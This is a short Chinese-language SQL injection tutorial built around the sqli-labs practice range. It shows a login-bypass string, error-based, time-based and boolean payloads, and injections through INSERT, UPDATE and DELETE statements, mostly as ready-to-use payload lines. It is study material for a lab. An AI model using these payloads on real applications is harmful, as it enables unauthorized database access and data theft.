在登陆处用于判断账号、密码,在数据库中使用select语句;在修改密码处,更新密码会使用update语句;在购物系统中,订单的添加、删除会使用insert、delete语句
数据库中创建一个test的表
create table TEST(id int(3),username varchar(25),password varchar(25),primary key(id))
账号登陆
通过SQL的‘or’运算符构造万能密码,以sqlilabs靶场的第11关为例
账号:admin' or '1'='1
密码:随意
在判断出注入点后,可以利用时间注入、布尔注入、报错注入接着获取更多的信息
报错注入:
uname=admin' or updatexml(1,concat(0x23,database(),0x23),1)#&&passwd=3421412sds
时间注入:
uname=admin' and if(ascii(substr(database(),1,1))=115,sleep(5),1)#passwd=2142dwq
布尔注入:
uname=admin' and ascii(substr(database(),1,1)) =115#&&passwd=41234
insert注入
SQL语句:
insert into test(id,username,password) values('a','b','c');
insert into test values('4','version()','c');-- '','b','c');
insert into test values('4',USER(),'c');-- '','b','c');
此处的USER()就是构造的payload,单引号闭合会使得payload变成字符串,可以接着获取更多数据库信息
实际中无法知道数据库中表的列数,可以先尝试用数字代替字符串的列(字符串无法代替数字),错误时会插入失败
insert into test values('1',2,3,4,5,6,7);-- '','b','c');
insert into test values('1',2,3);-- '','b','c');
update注入
SQL语句:
update test set name='shiqi' where id=1;
update test set username='adwdas',password='user()' where id=2-- ' where id=2;
update test set username='adwdas',password=user() where id=1-- ' where id=1;
与insert类似,除了闭合位置不同,其他的完全一样;此时password处的user()就是构造的攻击语句
delete注入
SQL语句:
delete from test where id=2;
delete from test where id=2 and if(1=1,sleep(5),0);
判断出注入点就可以构造其他的攻击语句,获取更多信息